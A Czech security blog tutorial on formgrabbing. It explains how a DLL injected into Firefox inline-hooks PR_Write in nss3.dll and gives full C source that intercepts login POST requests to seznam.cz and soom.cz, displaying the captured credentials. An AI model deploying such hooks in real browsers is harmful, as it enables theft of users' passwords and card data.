Formgrabbing

Technika formgrabbingu se poprve objevila již před více než deseti lety. A její cíl byl jasný: Zachytávat HTTP/HTTPS požadavky prohlížeče a filtrovat z nich zajímavá data. Těmi mohou být například přihlašovací údaje, čísla kreditních karet nebo obyčejné cesty do privátních sekcí webu. Útok je dnes rozšířen prakticky na všechny dostupné webové prohlížeče. Přesto je zvýšený zájem o svatou trojici prohlížečů (Internet Explorer, Firefox, Google Chrome) doplněnou o prohlížeč Opera. V současné době se s touto technikou setkáme nejčastěji v souvislosti s bankovním malwarem. Následující článek by měl popsat základní principy formgrabbingu na Firefoxu.

Teoretický přístup
Formgrabbing je ze své podstaty velice jednoduchá technika využívající techniku DLL injection a hookování. V prvním kroku dojde k nainjektování DLL knihovny do procesu prohlížeče pomocí některé z technik DLL injection. Jakmile dojde ke spuštění DLL knihovny, dojde k zahookovaní potřebné funkce a filtrování odesílaného bufferu obsahujícího HTTP požadavek. Pro hookování je vhodnější zvolit inline hook s využitím trampolíny (tzv. tvrdý hook).

Trampolína bude obsahovat nejméně 6 bajtů

Trampolína bude obsahovat nejméně 6 bajtů

Praktický přístup
Techniku DLL injection včetně přiložené aplikace stejně jako techniku tvrdého inline hooku jsem již dříve popisoval. Nebudu se jimi tedy v tomto článku již zabývat. Zaměříme se pouze na samotný formgrabbing, který budu demonstrovat na dvou českých doménách: seznam.cz a soom.cz. Teď k samotné realizaci formgrabberu. Protože je technika postavena na inline hooku, musíme si vytvořit svou vlastní verzi hookované funkce. V případě prohlížeče Firefox se jedná o funkci PR_Write z DLL knihovny nss3.dll. Pro zjištění prototypu funkce máme dvě možnosti: Buď můžeme nastartovat debugger a testováním zjišťovat, jaké hodnoty se funkci předávají nebo můžeme jednoduše nakouknout do dokumentace. Já se přikláním k druhé možnosti, protože ušetří hromadu času 🙂 Prototyp funkce tedy vypadá následovně:

PRInt32 PR_Write(
  PRFileDesc *fd,
  const void *buf,
  PRInt32 amount);

První parametr je deskriptor otevřeného souboru nebo socketu, druhý parametr je zásobník obsahující požadavek určený k odeslání, třetí parametr určuje počet dat v zásobníku v bajtech. Návratová hodnota funkce je pak počet bajtů, které se reálně podařilo zapsat/předat. Hodnota -1 určuje chybu.
Abychom si nemuseli zdlouhavě definovat nové datové typy a struktury, situaci si ulehčíme: Každý ukazatel na objekt (PRFileDesc *) může být libovolný ukazatel. Proč tedy nepoužít ukazatel na DWORD nebo ještě lépe ukazatel na VOID? PRInt32 bude pravděpodobně integer, takže použitím datového typu DWORD opravdu nic nepokazíme. Tímto se nám prototyp funkce mírně pozměnil:

DWORD PR_Write(
  DWORD *fd,
  const void *buf,
  DWORD amount);

Důvod, proč si takové operace můžeme dovolit je fakt, že kromě zásobníku s HTTP požadavkem (ten nás zajímá) další dva argumenty pouze předáváme.

Zahookovaná funkce PR_Write

Zahookovaná funkce PR_Write

V zachyceném zásobníku budeme kontrolovat, zda začínají řetězcem POST. Pokud ne, nebudeme na ně nijak reagovat. Pokud ano, zkontrolujeme si, zda směřuje na skript seznamu nebo soomu. Pokud ne, opět nebudeme požadavek nijak zpracovávat. Pokud ano, zkontrolujeme, zda obsahuje řetězce ‚Host: www.soom.cz‘ nebo ‚Host: login.szn.cz‘. Pokud ano, vytiskneme tento požadavek pomocí Windows API funkce MessageBox. Tohle řešení není nejlepší (ve skutečnosti je hrozné, protože bude za určitých okolností vracet velký počet false-positive výsledků), ale cílem bylo demonstrovat techniku co možná nejjednodušším způsobem. Pokud si chce někdo otestovat své schopnosti, doporučuji přepsat celou funkci tak, aby bylo možné rozparsovat celý požadavek na jednotlivé části a s nimi teprve pracovat/kontrolovat je.

Seznam.cz nám klidně předá login i password...

Seznam.cz nám klidně předá login i password…

... ale soom.cz se nedá tak lehce a místo hesla vrací jen jeho MD5 hash :(

… ale soom.cz se nedá tak lehce a místo hesla vrací jen jeho MD5 hash 🙁

Ukázkový kód

#include <windows.h>
#include <string.h>
 
#define OLDCODESIZE 6
 
typedef DWORD (*PR_Write_FuncType)(DWORD *fd, const void *buf,DWORD amount);
 
void Hook(DWORD addrPR_Write);
DWORD Hooked_PR_Write(DWORD *fd, const void *buf,DWORD amount);
 
LPVOID lpTrampoline;
 
BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
  switch (fdwReason){
    case DLL_PROCESS_ATTACH:
      DWORD addrPR_Write = (DWORD)GetProcAddress(LoadLibraryA("nss3.dll"), "PR_Write");
      Hook(addrPR_Write);
      break;
  }
 
  return TRUE;
}
 
void Hook(DWORD addrPR_Write){
  DWORD oldProtect;
  DWORD hookedAddress;
  DWORD dwTrampolineJump;
 
  BYTE jmpToHooked[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
  BYTE tramJmpBack[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
  BYTE oldBytes[OLDCODESIZE];
 
  hookedAddress = ((DWORD)Hooked_PR_Write - (addrPR_Write + 5));
  memcpy(&jmpToHooked[1], &hookedAddress, 4);
 
  VirtualProtect((LPVOID)addrPR_Write, OLDCODESIZE, 
                 PAGE_EXECUTE_READWRITE, &oldProtect);
  ReadProcessMemory(GetCurrentProcess(), (LPCVOID)addrPR_Write, 
                    oldBytes, OLDCODESIZE, 0);
  WriteProcessMemory(GetCurrentProcess(), (LPVOID)addrPR_Write, 
                     jmpToHooked, 5, 0);
  VirtualProtect((LPVOID)addrPR_Write, OLDCODESIZE, 
                 oldProtect, 0);
 
  lpTrampoline = VirtualAlloc(NULL, 20, MEM_RESERVE | MEM_COMMIT, 
                              PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(GetCurrentProcess(), lpTrampoline, 
                     oldBytes, OLDCODESIZE, 0);
 
  dwTrampolineJump = (addrPR_Write - (DWORD)lpTrampoline - 5);
  memcpy(&tramJmpBack[1], &dwTrampolineJump, 4);
 
  WriteProcessMemory(GetCurrentProcess(), 
                     (LPVOID)((DWORD)lpTrampoline+OLDCODESIZE), 
                     tramJmpBack, OLDCODESIZE, 0);
  VirtualProtect(lpTrampoline, 20, PAGE_EXECUTE_READ, 0);
}
 
DWORD Hooked_PR_Write(DWORD *fd, const void *buf,DWORD amount){
  PR_Write_FuncType TruePR_Write = (PR_Write_FuncType)lpTrampoline;
  DWORD hResult = TruePR_Write(fd,buf,amount);
 
  if((strncmp((char *)buf,"POST",lstrlenA("POST"))== 0) && 
     (strstr((char *)buf, "POST /user/login.php") != NULL)){
    if(strstr((char *)buf, "Host: www.soom.cz") != NULL){
      MessageBoxA(NULL, (char *)buf, "SOOM.cz", MB_OK);
      return hResult;
    }
  }
 
  if((strncmp((char *)buf,"POST",lstrlenA("POST"))== 0) && 
     (strstr((char *)buf, "POST /loginProcess") != NULL)){
    if(strstr((char *)buf, "Host: login.szn.cz") != NULL){
      MessageBoxA(NULL, (char *)buf, "SEZNAM.cz", MB_OK);
    }
  }
 
  return hResult;
}

1 komentář u „Formgrabbing

  1. Pingback: WebInject – 1. část | Security Cave

Napsat komentář

Vaše emailová adresa nebude zveřejněna. Vyžadované informace jsou označeny *